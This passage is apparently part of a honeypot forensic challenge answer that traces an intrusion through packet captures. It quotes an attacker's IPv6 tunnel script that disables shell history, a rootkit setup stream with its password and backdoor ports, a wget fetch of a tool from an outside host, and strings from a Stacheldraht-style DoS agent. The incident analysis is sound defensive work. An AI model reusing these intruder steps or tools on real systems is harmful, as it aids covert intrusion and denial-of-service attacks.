21:18:00.925532 163.162.170.173 > 192.168.100.28: 2001:750:2:0:202:a5ff:fef0:aac7.6667 > 2001:6b8:0:400::5d0e.32780: P 90834:90910(76) ack 12617 win 5760 (encap)
21:18:01.015526 192.168.100.28 > 163.162.170.173: 2001:6b8:0:400::5d0e.32780 > 2001:750:2:0:202:a5ff:fef0:aac7.6667: . ack 90910 win 25560 (encap)

With a newer version of tcpdump/libpcap:

$ ./tcpdump -?
tcpdump version 3.7.2
libpcap version 0.7.2
----------------------- cut ---------------------------


$ tcpdump -nn -r day3.log "not tcp and not udp and not icmp"

----------------------- cut ---------------------------
01:16:53.756652 192.168.100.28 > 163.162.170.173:  ipv6 62 (DF)
01:16:54.006635 163.162.170.173 > 192.168.100.28:  ipv6 60
01:17:53.832584 192.168.100.28 > 163.162.170.173:  ipv6 62 (DF)
01:17:54.042569 163.162.170.173 > 192.168.100.28:  ipv6 60
01:18:33.259913 163.162.170.173 > 192.168.100.28:  ipv6 122
01:18:33.349907 192.168.100.28 > 163.162.170.173:  ipv6 60 (DF)
01:18:33.759879 163.162.170.173 > 192.168.100.28:  ipv6 201
01:18:33.849873 192.168.100.28 > 163.162.170.173:  ipv6 60 (DF)
01:18:34.169852 163.162.170.173 > 192.168.100.28:  ipv6 123
01:18:34.259846 192.168.100.28 > 163.162.170.173:  ipv6 60 (DF)
01:18:36.389701 163.162.170.173 > 192.168.100.28:  ipv6 123
01:18:36.479695 192.168.100.28 > 163.162.170.173:  ipv6 60 (DF)
01:18:53.558539 192.168.100.28 > 163.162.170.173:  ipv6 69 (DF)
01:18:53.768524 163.162.170.173 > 192.168.100.28:  ipv6 60
01:18:53.868518 163.162.170.173 > 192.168.100.28:  ipv6 110
01:18:53.918514 192.168.100.28 > 163.162.170.173:  ipv6 62 (DF)
01:18:54.128500 163.162.170.173 > 192.168.100.28:  ipv6 60
01:19:53.994446 192.168.100.28 > 163.162.170.173:  ipv6 62 (DF)
01:19:54.224430 163.162.170.173 > 192.168.100.28:  ipv6 60

----------------------- cut ---------------------------

One of the first files uploaded by the intruder was a script called "ipv6sun" which seems to have to do with all this. After extracting it with Ethereal from file day1 it seemed kind of cryptic since it was half Italian, and half solaris commands. I checked on Sun's website and found a document on ipv6 tunneling. After reading the doc, it was clear that this was an IPv6 over IPv4 tunneling setup script. Seems too easy to setup.


------------------ ipv6sun ------------------
#!/bin/sh
unset HISTFILE
clear
echo "Inserisci il tuo ipv4"; read ipv4tuo; echo "..Okz"
echo "Inserisci l'ipv4 del TunnelBroker"; read ipv4server; echo "..Okz"
echo "tsrc ipv4tuo tdst ipv4server up" > /etc/hostname6.ip.tun0
echo ""
echo "Inserisci il tuo IPV6"; read ipv6tuo; echo "..Okz"
echo "Inserisci l'IPV6 dell'IRCServer"; read ipv6server; echo "..Okz"
echo "addif ipv6tuo ipv6server up" >> /etc/hostname6.ip.tun0
echo ""
echo "TermiNateD =)"
echo "maphia-Groups r0x again"
---------------------------------------------

Now, the ip protocol 41 did not start until day 3 which corresponds to day3.log. This means that the intruder came back and setup the IPv6 over IPv4 protocol somehow. The first thing that comes to mind is that they did it through a backdoor. This backdoor must have been setup during rootkit installation. Taking a look at the ingreslock tcp stream we find the following ports being setup:


---------------------- ingreslock tcp stream ---------------
[1;37m***[0;37m Insert Rootkit Password : 
mixer
[1;37m***[0;37m Using Password mixer
[1;37m***[0;37m Insert Rootkit SSH Port : 
5001
[1;37m***[0;37m Using Port 5001
[1;37m***[0;37m Insert Rootkit PsyBNC Port : 
7000
[1;37m***[0;37m Using Port 7000
------------------------------------------------------------

This indicates that the intruder most probably used port 5001 so I used ethereal to filter it out on day1 and day3. Apparently there was a tcp session to this port on the machine from ip 62.101.108.86. Looking at the stream we can confirm that the intruder accessed the backdoor by the SSH version banner.


--------------- port 5001 stream -----------------
SSH-1.5-1.2.25
SSH-1.5-OpenSSH_3.0.2p1
--------------------------------------------------

As a side note, apparently at the middle of the ssh session there was an http initiated by the hpot, following that stream shows that an extra tool was downloaded from ip 62.211.66.55 using wget.

Here's the stream I extracted with Ethereal:


---------------- port 80 stream while ssh port 5001 -------------
GET /bobzz/psy.tar HTTP/1.0
User-Agent: Wget/1.5.3
Host: 62.211.66.55:80
Accept: */*

HTTP/1.1 200 OK
Date: Sun, 01 Dec 2002 22:56:11 GMT
Server: Apache/1.3.26 (Unix)
Last-Modified: Tue, 26 Nov 2002 13:47:13 GMT
ETag: "26ae20-23ec00-3de37b61"
Accept-Ranges: bytes
Content-Length: 2354176
Connection: close
-----------------------------------------------------------------

To setup the tunnels according to Sun Microsystems, the machine had to be rebooted which seems to be the case since there was a syslog message stating this:


----------------- Syslog Msg Reboot --------------
0000  00 07 ec b2 d0 0a 08 00  20 d1 76 19 08 00 45 00   ........  .v...E.
0010  00 5e 75 4f 40 00 ff 11  a5 92 0a 07 00 05 cf f8   .^uO@... ........
0020  e0 9e a4 a1 02 02 00 4a  c5 62 3c 33 34 3e 44 65   .......J .b<34>De
0030  63 20 20 31 20 31 37 3a  31 31 3a 31 30 20 72 65   c  1 17: 11:10 re
0040  62 6f 6f 74 3a 20 5b 49  44 20 36 36 32 33 34 35   boot: [I D 662345
0050  20 61 75 74 68 2e 63 72  69 74 5d 20 72 65 62 6f    auth.cr it] rebo
0060  6f 74 65 64 20 62 79 20  72 6f 6f 74               oted by  root    
--------------------------------------------------

After this, we see a second ssh conection to port 5001, and then we start seeing ICMPv6 messages, which indicate the start of IPv6 activity.

Short after the psy download, we start seeing IRC traffic on protocol 41 (aka the IPv6 Tunnel). I extracted the psy-bnc tool, and did a "strings psy|grep ipv6" As it turns out this psy-bnc supports IPv6 which can explain the traffic. The IPv6 over IPv4 tunnel was meant for IRC blackhat comms.


---------------------------- IRC Traffic Stream -------------------------------
Then we start seeing IRC traffic from the psy-bnc the intruder downloaded:
0000  00 07 ec b2 d0 0a 08 00  20 d1 76 19 08 00 45 00   ........  .v...E.
0010  00 59 f4 1c 40 00 40 06  37 1a 0a 07 00 05 50 75   .Y..@.@. 7.....Pu
0020  0e de 1b 58 09 84 02 d8  9f 3a 32 e8 ee 0b 50 18   ...X.... .:2...P.
0030  65 40 e9 c6 00 00 3a 57  65 6c 63 6f 6d 65 21 70   e@....:W elcome!p
0040  73 79 42 4e 43 40 6c 61  6d 33 72 7a 2e 64 65 20   syBNC@la m3rz.de 
0050  4e 4f 54 49 43 45 20 2a  20 3a 70 73 79 42 4e 43   NOTICE *  :psyBNC
0060  32 2e 33 2e 31 0d 0a                               2.3.1..          
-------------------------------------------------------------------------------

6. What is the purpose/reason of the ICMP packets with 'skillz' in them?

I ran the filter "icmp" on Ethereal and saw this unexplained echo replies coming from the honeypot and going to ip 217.116.38.10 and to ip 61.134.3.11 but there were no echo requests coming from this ip's.

Looking in several search engines for "skillz" and "echo replies", got a fair idea that it is probably a DDOS setup, most probably a Stacheldraht variant. From David Dittrich's stacheldraht analysis I got this:

"Once the agent has determined a list of potential handlers, it then
starts at the beginning of the list of handlers and sends an
ICMP_ECHOREPLY packet with an ID field containing the value 666 and data
field containing the string 'skillz'.  If the master gets this packet,
it sends back an ICMP_ECHOREPLY packet with an ID field containing the
value 667 and data field containing the string 'ficken'."

This means that the honeypot is an agent but the strange thing is that the handlers, did not respond (ficken) until day3.

I positioned myself on the very first echo reply (stacheldraht) for day1.log in Ethereal. Then I reset the "icmp" filter. The previous packet belonged to the ingreslock tcp stream.

Previous packet to first stacheldraht echo reply:

0000  08 00 20 d1 76 19 00 07  ec b2 d0 0a 08 00 45 00   .. .v... ......E.
0010  00 3d db be 40 00 2c 06  2a 58 3d db 5a b4 c0 a8   .=..@.,. *X=.Z...
0020  64 1c dd 88 05 f4 80 5b  ee 83 ba 6d 7f cd 80 18   d......[ ...m....
0030  70 1c aa 6b 00 00 01 01  08 0a 02 e6 59 71 06 cb   p..k.... ....Yq..
0040  9d 61 2e 2f 73 6f 6c 62  6e 63 0a                  .a./solb nc.

It turns out that the icmp echo replies with the skillz in it, start immediately after the intruder ran "solbnc". This means it wasn't really an IRC tool but a DoS tool. I verified this by running "strings solbnc". We now know when and how the DoS tool got started.

$ strings solbnc |more

------------------------ cut -----------------------------
Usage: %s <dst> <src> <size> <number>
Ports are set to send and receive on port 179
dst:    Destination Address
src:    Source Address
size:   Size of packet which should be no larger than 1024 should allow for xtra header info thru routes
num:    packets
Could not resolve %s fucknut
ICMP
jess
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
lpsched
------------------------ cut -----------------------------

Partial Ethereal ingreslock Ascii TCP Stream:

# cd ..
# ./solbnc

7. Can you identify the nationality of the attacker?

From the IPv6 tunneled IRC traffic, most of the conversations are in Italian

:CuCc|iL0!-ChMoD@193.141.65.7 PRIVMSG #bobz :ragazzi
:CuCc|iL0!-ChMoD@193.141.65.7 PRIVMSG #bobz :ahuhuahuauhuahuhuahuahua
:bobz`!~ahaa@irc6.vhost.la PRIVMSG #bobz :* _-PaKi-_ is away (RiSpEttA Il PrOsSiMo O SaRaNnO CaZzI TuOi ByEz PaKi!!) *
:CuCc|iL0!-ChMoD@193.141.65.7 PRIVMSG #bobz :mi pastate il messaggio del bnc?

The IPv6 over IPv4 tunnel was made in order to connect to an Italian IPv6 IRC server with address 2001:750:2:0:202:a5ff:fef0:aac7

:irc6.edisontel.it 375 `OwnZ`` :- irc6.edisontel.it Message of the Day - 
:irc6.edisontel.it 372 `OwnZ`` :- 6/8/2002 17:20
:irc6.edisontel.it 372 `OwnZ`` :- 
:irc6.edisontel.it 372 `OwnZ`` :- Welcome on...
:irc6.edisontel.it 372 `OwnZ`` :- 
:irc6.edisontel.it 372 `OwnZ`` :-  _           __    _____    _ _               _____    _   _ _
:irc6.edisontel.it 372 `OwnZ`` :- (_)_ __ ___ / /_  | ____|__| (_)___  ___  _ _|_   _|__| | (_) |_
:irc6.edisontel.it 372 `OwnZ`` :- | | '__/ __| '_ \ |  _| / _  | / __|/ _ \| '_ \| |/ _ \ | | | __|
:irc6.edisontel.it 372 `OwnZ`` :- | | | | (__| (_) || |__| (_| | \__ \ (_) | | | | |  __/ |_| | |_
:irc6.edisontel.it 372 `OwnZ`` :- |_|_|  \___|\___(_)_____\__,_|_|___/\___/|_| |_|_|\___|_(_)_|\__|
:irc6.edisontel.it 372 `OwnZ`` :- 
:irc6.edisontel.it 372 `OwnZ`` :- - IPv6 I-lines are only for italian pTLA.
:irc6.edisontel.it 372 `OwnZ`` :-   We do not discuss I-lines for pTLA other than *.it
:irc6.edisontel.it 372 `OwnZ`` :- 
:irc6.edisontel.it 372 `OwnZ`` :- - Port 6665 to 6669 are listening for clients.
:irc6.edisontel.it 372 `OwnZ`` :- 
:irc6.edisontel.it 372 `OwnZ`` :- - IRC is mean for peaceful communication in respect
:irc6.edisontel.it 372 `OwnZ`` :-   and understanding of the other people and cultures.
:irc6.edisontel.it 372 `OwnZ`` :-   Please remember that all the time and have fun.
:irc6.edisontel.it 372 `OwnZ`` :- 
:irc6.edisontel.it 372 `OwnZ`` :- - Report any abuse to irc@edisontel.it
:irc6.edisontel.it 372 `OwnZ`` :- -----------------------------------------------------

and most of the ip's involved in the intrusion are from italian sources so we can asume the intruder is Italian. (see diagram answer 4)

For example 62.211.66.16 and 62.211.66.53, where the tools were downloaded from:

$ whois -h whois.ripe.net 62.211.66.16
[whois.ripe.net]
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum:      62.211.64.0 - 62.211.79.255
netname:      TIN
descr:        Telecom Italia NET
descr:        PROVIDER
descr:        NOC Roma (AS 20580)
country:      IT
admin-c:      TAS10-RIPE
tech-c:       TAS10-RIPE
status:       ASSIGNED PA
remarks:      Please send abuse notification to abuse@tin.it
notify:       nettin@tin.it
mnt-by:       TIN-MNT
changed:      cgiadmin@cgi.interbusiness.it 19991111
changed:      nettin@tin.it 20010626
source:       RIPE

Or the ip's 80.117.14.X controlling PSY-BNC on port 7000 which are DSL blocks:

$ whois -h whois.ripe.net 80.117.14.74
[whois.ripe.net]
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.htm


inetnum:      80.117.0.0 - 80.117.255.255
netname:      TINIT-ADSL-LITE
descr:        Telecom Italia
descr:        Accesso ADSL BBB
country:      IT
admin-c:      BS104-RIPE
tech-c:       BS104-RIPE
status:       ASSIGNED PA
remarks:      Please send abuse notification to abuse-bbb@telecomitalia.it
notify:       ripe-staff@telecomitalia.it
mnt-by:       TIWS-MNT
changed:      net_ti@telecomitalia.it 20020905
source:       RIPE

Bonus Question:

* What are the implications of using this unique IP protocol to the Intrusion Detection industry?

The Intrusion Detection industry is not conteplating all possible protocols, leaving a huge gap for undetected events. The concern here is that these intrusions are perpetrated by teens or people that just know how to press enter on a command. Honeypots are a changing the scene by providing no places for anyone to hide. The broader the field of view of the IDS systems, the less chance there is that something might go through undetected.

* What tools exist that can decode this protocol?

Ethereal does decode it as IPv6 protocol. A curious thing I found out is that ethereal did not display the tunnel packets used for IRC (IPv6 over IPv4) when confronted with the filter 'not tcp and not icmp and not udp'. It did display the ICMPv6 messages though. Tcpdump does display it when using this same filter. At least the most recent version tcpdump does decode it. Other tcpdump versions label it 'encap' and others display "proto ip 41". Soon (if not already), ipv6 support will be incorporated into snort 2.0 production releases.